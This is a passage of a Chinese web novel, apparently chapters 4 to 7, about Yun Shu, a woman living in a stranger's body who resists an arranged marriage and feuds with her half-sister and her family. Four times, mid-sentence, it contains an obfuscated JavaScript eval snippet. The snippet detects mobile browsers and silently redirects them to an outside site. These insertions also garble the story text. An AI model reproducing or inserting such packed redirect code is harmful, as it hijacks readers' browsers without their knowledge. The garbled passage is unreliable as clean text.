“嗯。”她很是敷衍,眉间微微蹙眉,似乎很不喜这种天气。 “听说云栾女郎快回来了。” 云栾? “女郎可不要欺负她了,到时候禁足,那侧室又要哭哭滴滴地到家主面前,主君每次看了都要跟家主吵一架。” 侍从瞅了一眼女郎,帮女郎擦拭衣裳的手顿了顿,把帕子收起来,轻声说道。 他是主君派到女郎身边的,识字写字都回,主君有什么话,自然也是他来传达。 他又拿着扇子,轻轻晃着给女郎扇风,见女郎好说话,又免不提说起女郎娶夫之事。 “听下人说,主君有意愿让女郎去与吕家接亲,还让人登门拜访了。” “接亲?”云竖蹙眉,“吕家?” “祖上曾出过进士,在璇山书院还当过山长呢。”他回道。 “璇山书院?” “女郎忘了吗?主君的母亲如今就是璇山书院的山长,只不过女郎鲜少去那。” 云竖没说话,目光移到了马车外面,帘子已经被斜倾的雨水打湿,被风吹得悬在空中。 外面的人急急地行动着,青衫濡湿,发带却飘了起来。 马车的滑轮轱辘地滑过地上的青石板,溅起雨点,灰尘扬起,空中倾泻出清新的、略带腥味的气味。 旁边的侍从见女郎失了兴趣,也闭嘴不语,只取出点心,抬手斟茶。 璇山书院? 云竖藏在云袖里的手慢慢蜷缩着,狭长的眼眸静静地盯着马车外被打湿的地面。 附近的屋檐下,少年被几个侍从围着,整理着被风吹乱的头发。 “公子怎么跑出去了?要买东西吩咐我们就是。” 他抬手触碰着晃动的耳坠,又用手背贴了贴发热的脸,薄薄的肌肤带着绯红,“没什么,快回去吧,不然母亲又该说我了,万一下次不带我来扬州,我去哪里哭去。” 他长得很漂亮,清透端艳,年纪还小,说话也带着娇气,好像活该被人捧着宠着,连头发丝都透着雪一样的纯轻。 “等会儿母亲问起来,你就说我去给表哥买礼物去了。” 回了府上,云竖便先换了一身衣裳,后脚就有人来传唤。 “女郎,主君让您过去一起吃食。” 屏风外站着两人,出声问道,“女郎现在有空吗?” “女郎等会儿就去。”一个小侍绕过屏风出来,轻声回道,“如哥哥先回去吧。” 大厅内。 云竖垂眸看着碗中的食物,抬眸看向云父,“父亲找我何事?” “没事就不能找你了吗?” 云竖沉默了一下,“我想去璇山书院。” “不行。”云父蹙眉,见自己女儿一副苍白清瘦的模样,缓和语气,“你去那做什么?你现在应该好好学习铺面的事情,难不成还想拱手让人?” “之前的事情就罢了,现在你应该学学你母亲做的事情,这些事情将来都要移交在你手里,云栾什么心思,你还不知道吗?一个庶出的家伙,还想跟你来抢家产。” 说着,他越发生气,与云竖相似的眼眸都带着烦躁和厌恶,“之前胡闹也就罢了,成婚后你就跟着你母亲做事。” “成婚?” “既然不喜欢送过去的画卷,我就帮你挑一个。”云父突然笑了,说话轻声细语地,“后日你母亲回来,明日你就去和吕家的那位见上一面。” 云竖不知道该反驳还是沉默,见云父皮笑肉不笑的模样,违心地闭上了嘴。 谁想成婚呢? 还要娶一个不认识的人。 一个完全不熟悉,另一个时代的人。 云竖一边想着如何毁掉另类的相亲,一边又想着远离。 她莫名的焦灼,难以安稳下来。 这几日一直保持着原身的作风,也怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319746|167425||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被发现什么异样。 离开这里,离开这里就不会被人发现。 再回来之后也可拿时间来当借口。 不想成婚,也不想接管什么事务。 “知道了吗?” 云竖垂眸,“我知道了。” 云父现在哪里有心思去想自己女儿是不是有些不对劲,满脑子都猜想着后日又要发生什么。 子漾醒来便赶走后院里的那些人,近日行事也不如往日荒唐,活像是被打击了一般,认清了什么。 他去求了平安符,又给她算了一卦,虽然内容不满意,但也害怕成真,连忙又去寻吕家,想让她彻底安定下来。 远离吗? 子漾从小待在他旁边,哪里远游过? 除了那次去京都,回来之后就越发荒唐,他后悔还来不及。 长廊处,几个偷懒的侍子待在一处闲聊,说话断断续续的。 “听说那位女郎要回来了,若有机会就好了。”他说得不全,却又呼之欲出。 “那位又不喜男色,你还想爬上她的床?侧君就先把你揪下拉打一顿了。”旁边的人嗤笑着。 “哼,打一顿?盯那么严有什么用,那家产还不是女郎的?主君在这里盯着,哪里会有那位女郎的份。” “那你还想爬那位女郎的床做什么?” “分家也能分点什么吧。”他嘟囔着,“到底是位女郎,反正也比现在扫地好。” 云竖走到长廊处,出现在阳光下,脸色极为苍白。 雨停后,转眼就散去,露出云后的太阳。 那几个侍从发觉后,露出惊恐的神情,连忙跪在地上。 他们颤抖着,想到自己刚刚说的话,那些暴露的字句无不割着他们的面容和头皮,就连那清爽的微风吹过,就像是银白的针一般,一针针缝合肌肤,让人恐惧害怕。 衣摆从他们眼下滑过,脚步声越来越远,很快没了声响。 女郎走了吗? 几个人害怕地抬头,彼此互看着,松了一口气。 身后的冷汗让他们止不住颤抖着,仿佛被不久前的雨浑身浇了一遍。 他们开始互相埋怨起来,匆匆结束的话题不再提起,又警惕地看向四周,生怕别人发现。 云竖抬手滑过桌子上的书,指腹摩挲着书的表层,恍惚地想起在街上看到的背影。 此刻更像是阴暗角落里慢慢滋养繁殖的绿苔一般,开始肆无忌惮的生长。 为什么她会如此呢? 她自认为她不是轻易就喜欢一个人的人,一见钟情更是算不上。 她看向屋子的四周,无不提醒她早已经身处其他地方。 陌生的摆件,木质的大门,还没有点燃的蜡烛。 屋内的熏香摇摇晃晃地遍布屋内,却争先恐后地钻入她的鼻腔,紧紧攥住她的心脏。 屋内的铜镜内映着她的面容,素白寡淡,却带着寂静的阴沉。 她的指尖微微动了动,目光不由得注视着不远处的画像,越发痴缠起来。 若是旁边站着一个小侍,定然对此十分熟悉。 之前女郎也有一段时间如此,痴痴地盯着画像,后面就开始接连地纳侍。 好似掉了魂一般。 四周静悄悄地,屋外的侍从扫着地上的落叶,长廊走来端着点心和热茶的侍从。 被雨水打落花朵的盆栽被移开,换上另外一盆正绽放的花盆。 5. 第 5 章 翌日。 云竖跟在云父身后,上了马车。 她靠在那,看着云父摆弄案桌上的茶水点心,挪开目光看向马车外面。 “等会儿到了,你说话温柔一点,别把人吓跑了。” 云竖挣扎,“是不是有点过于早了,我才17岁。” “你母亲17岁就娶了我,还有了你。”云父抿了一口茶水,眼睛盯着她,“你纳侍的时候怎么不说你年纪小。” 云竖恍若没有听到一般,“我不想这么快娶夫。” “成家是迟早的事,不然你母亲怎么放心让你来做事?”他放下手上的茶杯,又取过圆扇轻轻晃着。 “那云栾呢?云栾现在不是做的好好的吗?” 他听着,突然笑了笑,“云栾?你拿她跟你比较?若不是我仁慈,岂留她蹦跶到现在。她父亲是我从父家带来的仆从,契文都捏在我手里,我留她在父亲身边,权当是不想碍眼。如今若还敢与你争,她倒是吃了熊心豹子胆。” “你母亲当初娶我,可明说了我生的女儿就是以后的家主,你不想做也得做,难不成还想我落得下风不成?” 他扇子偏了偏,遮住了下半张脸,露出的眉眼端庄稳重,眼角的细纹忽略不计。 云父同云竖说话时,却又不自觉缓和调淡了眉眼的端庄,淡淡得很是温柔,像是寥寥几笔描绘上的白色牡丹。 她愣了愣,沉默了一下。 云竖今日穿着很是素净,映衬着她的脸色,罕见地有些温和。 “行吧。”她勉强回道。 这条路通往白衫寺,山路已经被休整,附近可能存在的野兽也被赶得七七八八。 “他叫什么名字?” 路途有些远,对于云竖而言,一时的安静莫名地尴尬。 “吕玉青。”旁边的侍从淞衣研磨着茶叶,主动回道,“听说是个有文学的人。” 云父没有责怪,反而任由他回答。 云竖问道:“年岁几何?” “比女郎小两岁,也是婚嫁的年纪,女郎等会儿遇见,说不定还能谈上几句合宜的话,最近新出的戏曲,后日的花灯,还有庙会,女郎知道首饰店铺,也能说上几句价值几许。”淞衣笑着回道。 云竖看了云父一眼,见他似乎很是期待此事能成,下意识抚摸腰间挂着的玉佩。 必须要娶吗? 她想着,却依旧附和淞衣的话。 她的问话开始跑偏,问的都是一些泡茶的问题。 旁边听着不对劲的云父微微皱眉,又不好出言停止。 问这些做什么? 到了白衫寺,云竖先下了马车。 几人抬脚上了阶梯进了大门,便能见到里面的大致布局。 屋檐高高翘起,还悬挂着橙黄色的灯笼,左侧是郁郁葱葱的绿树,部分树枝上还挂着红色的祈福条。 香炉附近香烟缭绕,周围整齐排列着许多红色的蜡烛。 吕玉青带着白纱,一袭揉蓝衫子杏黄裙,耳边装饰着明月耳珰,倚靠在栏杆,颇为烦躁。 “为什么人还没来。”他有些不满,旁边的侍从擦拭着公子冒出来的细汗,又拿扇子给他扇风。 “好好站着,像什么话。”吕父轻声呵斥他,一边又四处看着,神色有些焦急。 吕玉青脸色大不好,站直后又没有耐心地低头摆弄自己的玉镯。 “主君,她们来了。” 吕父这才提起笑容,示意他跟上自己,又整了整自己有些褶皱的衣袖。 “在那。”云竖看着明显的几人,出声说道。 她不紧不慢地走在他们后面,看着云父出言交谈,又看了一眼后面跟着的少年,不感兴趣地挪开眼看向四周。 寺庙吗? 她还没来过。 她看着两个男子互相陪伴去挂祈福条,又坐在一处开始闲聊。 接着,她又看向摆放佛像的大厅门口,那里驻足几人。 突然叫到她,云竖看向云父,“怎么了?” “你带玉青弟弟逛逛。”云父看出她心不在焉,皮笑肉不笑地对着她说道。 不喜欢也娶回家放着,哪家是两情相悦的,有了子嗣什么都好说。 娶夫本就是先看出身,再看为人处世,相貌都是次要。 云竖看向那个穿着揉蓝衫的少年,说不上温和,也说不上冷淡,“走吧。” 他眼底划过不满,却也摆出羞涩端庄的模样跟过去。 见两人走远,云父收回目光,勉强提了提嘴角,“这日天晒,我们进去说吧。” 他侧身示意旁边的侍从跟过去看看,免得出什么意外。 吕玉青见她突然停下,顿住身子有些疑惑。 “我不会娶你的。”那人兴致缺缺地说道,声音很冷淡,薄而狭长的眼眸也看向旁处。 明明穿着素净的颜色,偏偏神色又张狂,跟打听到的一模一样。 一个纨绔的女郎,没有半点学识,沉迷男色脂粉。 “你自己逛逛,等会儿你自己回去。” 他还没说一句话,那人说完就自己离开,丝毫不在意他。 待在原地的他有些茫然,显然跟自己想象中的不一样。 她就这么走了? 吕玉青脸色很难看,甚至气得眼睛都红了一点,手心的帕子几乎要扯成两半。 还没有人这么对待他。 他站在原地,平复了许久才抬脚。 “吕公子,怎么就你一个人啊?”淞衣走上前问。 “你说云竖姐姐吗?她说她想要一个人待着。”他轻咬着唇,语气落寞,“想来是我太过沉闷。” 淞衣刚想问的话堵在了喉咙里,这的确是女郎会做出的事情。 “我去找我家女郎,公子自己先逛逛吧。” 淞衣打断他的话,讪笑着,说完就去寻自家女郎。 吕玉青面无表情地盯着走远的奴仆,甚至开始思考等他嫁进去要如何教训这个不知礼数的奴仆。 他扯了扯嘴角,脸色阴沉下来,心里越来越恼火,随即又面无表情地原路走回。 寺庙备人休息的亭子处,吕父见儿子一个人回来,大抵就清楚什么情况。 他也摆起了脸色,“云夫为何如此啊?” 云父见着回来的人红着眼睛,默不作声地站在吕夫身后,又不见回来的侍从,只好先是安抚眼前的人。 “她许是有事,既然这样了,下次再说吧。” 他柔柔地笑着,“子漾虽不懂如何相处,但也不妨碍后面的事情。” 先取八字占 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319747|167425||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卜吉凶,若合适,再去纳采提亲。 他匆匆离去,虽然不满子漾做出的事情,却也没多么生气。 …… “女郎,你怎么在这里?” 等淞衣寻到女郎,便看到女郎站在和尚旁边,旁边缭绕的香烟几乎将她的一半身子隐匿其中,虚虚晃晃的。 五官慢慢柔和下来,苍白的脸色却显得那张脸温和清艳。 淞衣有些懵,一时间不敢认这是女郎。 云竖手上拿着刚刚抽出来的木签,细细端详着上面的话。 上上签吗? 她递过去解签,侧身看向跑过来的侍从,眼中定定看了他几眼,随意敷衍地应了一下。 那人接过签,看了几眼,又抬头看了一眼云竖。 “女郎是富贵命啊,不过最近命有一劫……” 她不由得挑眉,神情懒散地站在那,也不在意眼前的人说什么,听完后便抬脚离开。 “女郎为何丢下那吕公子啊?” 淞衣跟上,低声问道。 “哪里来那么多为何?”她离开了香火处,蜡烛、佛香的味道慢慢散开,不再聚集在身边。 黄墙上攀着树影,淞衣苦着脸跟在女郎身后,不知道如何跟主君交代。 没有等云竖主动去寻,就已经有几个侍从过来来寻云竖。 还没走到亭子间,云竖就见着云父坐在那,旁边两个侍从在旁边陪着。 亭子附近是湖水环绕。 那几个人走了吗? “父亲为何不给我一点时间?”她主动坐在云父身边,“我不想这么快成亲,不成亲我也能帮母亲做事。” 云父放下茶杯,“没看上?” “不喜欢。”她直白道。 甚至没有半点兴趣,若真如云父要求将人娶来,她要如何呢? 她要负责人一辈子,她甚至可以肯定她不会喜欢上那个男人。 不像那些侍夫一样,可以给钱送走。 “为什么?” “生了一场病,脑子也清醒了很多。”她含糊道,浅色的眼眸内有些木然,毫无光彩,犹如蒙了一层灰雾。 “不想看到男子。”她继续解释道,“父亲不能让我安静一会儿吗?” “真清醒了?”云父有些不相信,“那你把房中的画像扔了。” 房中的画像? 那个像仕女图的画像吗? 她顿了顿,欲言又止。 云父见她如此不舍得那副画,冷笑说道,“你连这个都不扔,你叫我如何放心?” “我会让人扔掉的。”她慢吞吞说道,又重复刚刚的想法,“我不想成亲。” 云父盯着她的模样,比往日沉默萎靡,像病秧子一样,还不如之前那样纨绔闹腾。 他沉默了一下,还是妥协下来,“等你母亲回来,若你老老实实跟着她做事,我可以之后再说,若你还跟之前一样,你就必须要娶夫。” 云竖在云父面前还算乖巧老实,除了偶尔说话不耐烦,其他的时候都几乎听从。 云父没彻底相信她刚刚说的话,但也担心她到时候又闹出什么。 成婚时,他总不能按着她的头去弯腰低头。 云竖点头露出笑容,凑近云父,“我真的会老老实实的。” 6. 第 6 章 离开寺庙后,云父便回了府歇息。 云竖没乱跑,因为她得知明日原身的母亲就要回来。 她翻看着自己名下的几个铺子的账本,都是原身生辰时长辈所送。 即便一辈子不做什么,也能靠这几个铺子活下去。 云父特意让家生子看管着,怕云竖管不好到时候出问题。 若这个都管不好,还如何继承家业。 上面数字密密麻麻的,一月支出多少,入账多少,记得很详细。 不知道为何,她只是粗略地翻看着,也能知道里面的大致门路。 里面的数据很正常,涉及成本和受欢迎程度,货物是否堆压,所计算下来的数据很老老实实。 云竖合上账本放在案桌上,就听到外面传来动静。 讯蓝先一步进了屋,语气焦急,战战兢兢,“女郎,院里的侍从跟公子的侍从吵了起来,公子不小心掉进了湖里。” 春水寒冷,更别提身子柔弱的男子掉进去又该将养多久,说不定连身子都毁了一半。 可家主又要回来,出现了这样的事,指不定又要怎么闹。 “他不是在后院待着吗?怎么会跟院里的侍从吵起来?”她微微皱眉。 讯蓝哪里会知晓公子突然跑到外院来,还会跟院里的侍从起冲突。 他摇头,嗫嚅地问,“可要去禀告主君?” 这些事情并没有少发生。 女郎是府上的嫡女,偶尔欺负了那云栾或者云翡,下人们也闭口不言,主君自然也不会揪着这种事情去责怪女郎。 起冲突是常用的事情,自从女郎开始沉迷男色,就鲜少跟那两位起冲突。 如今发生这种事情,保不齐就有人说是女郎故意指使。 “去吧,去请大夫了吗?” 见眼前的人如此慌张,云竖顿了顿,言语听上去带着熟悉的刻薄和讥讽,“我又没让人去欺负他,你怕个什么劲,自己掉进去的,难不成我还要管那片湖不成?那侍从还敢主动去推他?” 云翡今年已然14岁,按理说应该老老实实待在院子里等待嫁人,非要跑到她这里,不是闹事是做什么? 后院离这里可是隔了几个墙。 讯蓝听着,抬头看向依旧站在案桌旁边背脊挺直的女郎。 女人面带微笑,甚至漠视,微垂着眸,闲闲地将掩盖的内容全被翻到明面上,莫名得令人头皮发麻。 讯蓝说不上哪里奇怪,又觉得很正常。太正常不过来,女郎哪里是吃亏的性子。 可女郎不该如此冷静啊? 他茫然地跑出去,跑去主君的院子里,没有任何思考地将刚刚发生的事情全部吐露出来。 他还没站多久,主君的院子里就出来一些人。 在院子外站着的讯蓝远看过去,看着主君站在门口,紧紧蹙眉,像是有些生气。 他脑子闷闷地,抬脚缓慢地又回到女郎的院子里,非常缓慢地抬头看见女郎正在磨墨,对刚刚发生的事情丝毫不在乎。 讯蓝眨了眨眼,觉得有些不对劲,又缓慢转身看向熟悉的院子里。 一切都如同以往那般井井有条。 女郎变得可真快,一会儿这个模样,一会儿那个模样。 讯蓝没再多想,退出屋内,继续做着自己手上的活。 后宅里总是没有表面上看上去那么干净,讯蓝知道那云翡过来定然是要挑事,可为何要挑在这个时候? 可还没等天黑,正准备吃晚饭的云竖却听到了云母回来的消息。 她看着过来禀告的侍从,瞧着似乎并不欣喜,反而紧张。 紧张什么?是什么让他们紧张? 云母回来的路途不顺利吗? “走吧。”她放下手上的东西,抬脚离开屋内。 天慢慢黑了不少,但还有着一抹昏黄的光,像是可以窥视黑夜里的景象,浮现出一道道门窗,只等人扒开粗鲁地瞧看。 不知道是什么原因,原本还算是欢闹一点的氛围一下冷凝起来,只能听到脚步的声音。 云竖觉得奇怪,根据他们以往说出来的经历,按理说不会有什么很大的变化。 她越过庭院,穿过长廊,来到了大厅处。 她才堪堪站在门口,脚边就破碎了一个茶杯,带着溅出来的液体,零星地散乱在她的衣摆上。 耳边的声响让云竖微微偏头,碎发也挡在了额前。 还没等她知道发生什么,就听到发怒的声音。 “孽女。” 在骂她? 她抬眸望过去,两个男人围在那个女人身边,还有一个跟她差不多年纪的人站在旁边看向自己。 而云父沉着脸站在一侧,脸色铁青。 云竖面容冷淡下来,狭长的眼眸直勾勾地盯着最中间的女人,“母亲为何一回来便要责骂我?” 她站在那,只穿着素净的衣袍,脸色还有些苍白,眉眼冷静。 随后,她抬脚越过地上破碎的瓷杯,走到云父身边,低低地喊着,“父亲。” 云父下意识抬手揪住自己女儿的袖子,把人拉到自己身后护着。 他剜了一眼云母,“你说什么孽女,难不成你还想休弃我不成?” 云母眼睛瞪得极大,像是不想跟他吵一般,看向老是躲在他身后的云竖。 “为了一个男人跳湖,还欺负你弟弟?” “我何时欺负云翡了?他自己个掉进了湖里,关我什么事?既然见我不高兴,何必让人叫我过来。”云竖脸上阴测测的,说话也带着阴阳怪气。 由于被云父扯到身后,她看上去更像是狐狸傍虎,轻佻冷漠,毫无见长,让人怒火中烧。 旁边站着的云栾一边将自己父亲护在身后,随后才出来调和气氛。 “母亲也累了,刚刚还在路上思念姐姐,云翡的事情想来是误会。” 旁边孤站的男人沉默着,小心抬眸看向主君,又细声开口,“是翡儿自己不小心,不关女郎何事。” 没人提及她跳湖的事情,谁也不想率先将怒火转移到自己身上,只能不痛不痒地说几句话,随后又漠然地等待着眼前的闹剧散开。 屋内瞬间安静下来,烛火摇曳,密集带着呼之欲出戛然而止的喧嚣,角落里黑乎乎一片。 旁的侍从更像是没有情绪的木头一样,低垂着头站在那,一动不动。 云父对此没什么反应,毕竟这时有发生。 子漾一做出什么过分的事情来,他们便出来说情讨好以获得奖赏。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319748|167425||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>云母如往常一样顺坡下路,就听到那孽女毫无悔过的话语,轻佻地,只知道惹事。 “你们在说什么,这跟我有什么关系,既然都不信,去把云翡叫过来,一个住在后院的人跑到我院子旁边,掉进湖里怪在我头上,是不是谁丢了东西我还得赔给他?” “翡儿病重在床,来不得啊。” 他站在那,面容崩溃慌张,像是无依无靠一般,眼睛还沾着泪水,稍稍抬眸看向云母的方向,发出乞求和无助。 “女郎若心中有气,便责罚我好了。” 说着,他哭哭滴滴地就要跪下去,云父旁边的侍从连忙上前几步把人扶稳,避免人真的跪下去了。 云竖敛眸看向那人,率先说出来,“我并无责怪之意,只是希望母亲不要无端来责怪我,母亲堪堪回来,又长久在外奔波,该休息才对,我的事情还是明日再说。” 她走到云父前面,将自己整个露了出来。 在堂前,她的变化很显眼。 面容苍白,背脊挺直,一袭素纨,头发也只是发带束起。 除了腰间挂的青玉,什么该有的装饰也没有。 旁边的云母的脸色一直都很差,她像是实在不想听这种欺负不欺负的争执,沉声说道,“散了,都回自己屋子里去。” 走之前,她的目光放在云竖的身上,心中空跳了一下。 这孽女何时变了这么多?她才出去不过两月。 先是跳湖又是遣散,如今又是这副要死不活素净寡淡的模样,后面岂不是要进庙堂去做和尚去。 云父没吭声,反而跟上了云母的身后,走前又低声让云竖自己回去待着。 屋内只留下四人,那位哭哭滴滴的侍夫被下人扶下去,云栾身后护着的人也顺势离开。 云栾有些诧异地看了云竖一眼,突然笑了笑,带着虚假的担忧,“姐姐变化很大啊。” 她的目光放在云栾的身上,也跟着微笑,刻薄讥讽,“和你有什么关系?你怎么比之前还丑了许多。” 看着眼前神态闲适,高高在上的人,云栾面容停滞了一下,随后带着恭顺,语气僵硬,“是我不该过问姐姐的事情。” 云竖盯了她一会儿,想问的话还是没有说出来。 她也没有继续出声,只是抬脚越过她离开。 同行的队伍不止云栾一人,该知道的也不止云栾一人。 屋内。 云父扯着她的袖子,“不顺利吗?” “货物都被官府处理,说是按律疏议规定,这些都是不合格的器物、绢布,以后京都的生意不能再涉足了。” 她的声音疲倦下来。 “只能在这一片吗?河道上的生意还能做吗?之前都没有什么问题,怎么这次就有问题了?”云父皱着眉,手指轻轻按压着妻主的额眉。 “还能为什么。” 云父顿了顿,俯身抱住妻主的脖颈,语气柔柔的,“要不让子漾陪着你,她近来也乖巧长大了一些。” 听到这个,云母罕见地沉默了一下。 “妻主不会还想着云栾吧?”他的声音突然尖了一点,“妻主说过所有都是子漾的。” 云母抬手握住他的手臂把人拖进自己的怀里,“我不是这个意思……” 7. 第 7 章 回屋后,云竖简单洗漱后,绕过屏风抬头就看到那副垂挂的画卷。 一张模糊地,靠影子勾画出来的画像,透着丝丝的贵气。 无法想象那人长得是何模样。 午后刚回来,她还没让人把画卷扔出去。 云竖走过去,抬手取下画卷。 微微的寒意被轻软薄薄的窗纸遮挡,明晃晃地烛火摇曳着,屋内光线朦胧昏黄,格外沉闷。 她将画像慢慢收起来,这才回到了榻上。 …… 这场雨连下了几日,云父让人来裁体量衣,为她订制衣裳。 屋内更是被送来了一本又一本的账本。 雨停了,云竖才离开院子,坐上马车去了绸庄。 街道上人并不多,各个铺子里的人也零零散散地聚在一起聊天。 空气中稠密绵绵的湿润挟着凄迷的冷气,欺凌早开的花朵,雾气漫着烟缕笼罩困疲垂拂的柳树。 四周朦胧清冷,迷离昏沉。 “你买这么多衣裳做什么?你又不是不能出来了?”一个女人的声音响起。 “这哪是我一个人的衣裳,祁连祁春听说我要来买衣服,让我给她们拖带几件回去。读书都读疯了,这点时间都不愿意挤出来。” 孟昂“啊”了几句,有些感慨,“这不是有一年半的时间吗?第一次被打击的结果这么严重吗?” “这谁知道。” 林珙从袖袋里取出银两走到柜台,余光就见到站在一侧的人。 她一边把银子递过去,一边扯了扯过来的孟昂,“那谁啊?你认不认识?” “不认识。”孟昂顺着她的目光看过去,“不过的确挺好看的,不会是哪个书院的吧?” “这位是主家的女郎,今日过来查看。”管事示意旁边的人把衣服包起来,“这些会按时送到璇山书院的,女君们到时候记得查收。” 她说着,就歉意微笑离开,走向不远处女郎站着的方向。 云竖穿着绾色折枝纹的衣袍,还披着白净的鹤氅,腰间的玉佩很是显眼珍贵。 她微微侧身,额前的碎发遮住了有些阴冷的眉眼,浅色的眼眸很是冷淡地盯着朝她走来的人。 管事的人心惊了一下,不知道为什么主家的女郎变化这么大。 “女郎。”她语气恭顺。 “很忙吗?” “女郎是有何吩咐吗?” 云竖的目光不着痕迹地略过那两个人,敛眸进了里屋。 璇山书院。 “那两人是璇山书院的吗?”她一边走着,一边轻声询问。 “那两位女君是璇山书院的学子,刚刚在说科考的事情。”她在前面领路,把自己知道的全部吐露出来,没有一丝懈怠。 “明年这个时候是院试?” “差不多这个时候,她们已经过了初试,正准备着秋闱。” 云竖不易察觉地缩了缩垂下来的手指,微微抿唇,眸光闪烁着。 对于管事接下来说的关于绸庄售卖的情况,以及盈利模式,云竖心不在焉地听着,翻着账本,又翻看着时兴的服饰图纸。 “积压的绸缎绢帛多吗?” “还好,堆积的绢帛会做成成衣卖出去。” 云竖翻看的手突然顿了顿,停留在某一页。 “女郎喜欢这款式吗?我这就让人准备一套送到府上。” 这是男子的服饰,最近兴起了浮光锦覆于表层的款式,携带着繁琐的花样和半透明的流苏,很受男子喜爱,但价值昂贵,很少有人买得起。 “不用。” 她又噤声不语,不知道女郎是何意。 随着云竖起身离开,她跟在后面,见人上了马车彻底离开,才走回庄内松了一口气。 “掌事,上次来的不是这位女郎啊。” “这次来的才是主家的主。”她看了旁边的人一眼,嘴角扯了一下,“若不好好服侍着,一句话就能让你走人。” 那人瞪大了眼睛,眼珠子似乎都要蹦跶出来,无法转动一下,脸上的表情更是颇为夸张。 马车上。 “女郎累了吗?” 不知道何时出现在马车的侍从抬手倒着刚刚泡好的茶,慢慢靠近云竖,柔若无骨的手攀上她的手臂,水润的眼眸仰视着女人,无不透着隐秘的信号。 “谁让你来的?” 侍从愣了愣,勉强地维持脸上的表情,“女郎在说什么,奴听不懂。” 他慢慢地抬眸看向女郎,下意识蹙眉,抓着女郎的手也跟着松了松。 女郎看他,好似他不是一个男人一样,像物件,不似以往那般轻易就能勾搭上。 生气了吗?他吓得彻底松开了手,声音发颤,“女郎。” “谁让你来的。”她缓慢眨了眨眼,“我父亲,还是云栾?” “是栾女郎,她让我来的。” 云栾只比云竖小上一岁,却早熟许多。 “让你来只是吩咐上我的床榻?” “栾女郎说女郎没了侍夫,让我来服侍女郎。” “她倒是管得挺宽。”她嗤笑了一下,神情越发冷漠,像玉塑的一般。 马车停下来,先下来的是云竖,后面下来的侍从被人扶下来,直接跪在地上,浑身发抖,眸中充满了害怕。 他被粗暴地扯起来拉进了府邸,旁边的管家走过来,居高临下地看着脸色发白神情惊恐的侍从,随意说了他的去处。 “下次若还有人如此,下场就跟他一样。” 旁边看着的侍从们不自觉抿唇,低低地应着。 云竖院子里的侍从更是从这日开始,越发紧绷小心起来。 原以为女郎生了一场病,脾气好了许多,原来是更加让人难以琢磨。 变得不喜男色,甚至越发阴晴不定。 …… 几日后,云竖打着云栾的借口,朝她的房内塞了几个侍从,又让人四处谣言她的风流趣事,直到传到云母的耳朵里才肯罢休。 云栾因此被禁足了几日,却开始胡乱地蹦跳起来,老往云竖的院子里跑。 她盯着过来的云栾,目光沉沉,“你又来做什么?” “母亲说让我多与姐姐待着,该肝胆相照,手足情深。” 云竖皮肉僵硬地笑了笑,重复她的话,面无表情地盯着她,“肝胆相照,手足情深?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319749|167425||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽然不知道原身之前怎么活的,但那22房侍夫里也有五六个是她塞进来的。 那晚过去,云竖哪里还不知道这表面上的关系。 云母云父纵容宠溺原身,云栾跟冤大头一样不被重视,被原身欺辱,两个侍夫更是各有各的心思。 “云栾,你是不是忘记了自己的身份,我不提醒你,你是不是越发得寸进尺起来?你还真把自己当妹妹了?” 云栾脸上的神情显眼地僵硬了一下,目光瞬间阴沉沉下来,渗着散不开的阴郁,一点都不带遮掩,死死地凝视着她。 “下次若还来这里,我就打断你的腿。”云竖继续说着,轻飘飘地。 站在庭院的云栾抬头看着不远处的人,她变了许多,外形气质,神态衣着,起码很像幼时自己想象的姐姐那般。 可偏偏那张嘴跟之前一样,像锋利的骨刺一般游入她的骨髓里毫不留情地穿透,毫无用处,恨不得让人想要撕烂,最好拿钉子钉在木头上。 比她年长一岁的人穿着艾绿色的衣袍,领口微微敞着,神情冷淡,举止更不似之前那样,反而带着莫名地温和。神姿高彻,如瑶林琼树。 很容易让人恍惚,让人忘记她之前的模样,甚至开始生出一些恶心的不切实际的想法。 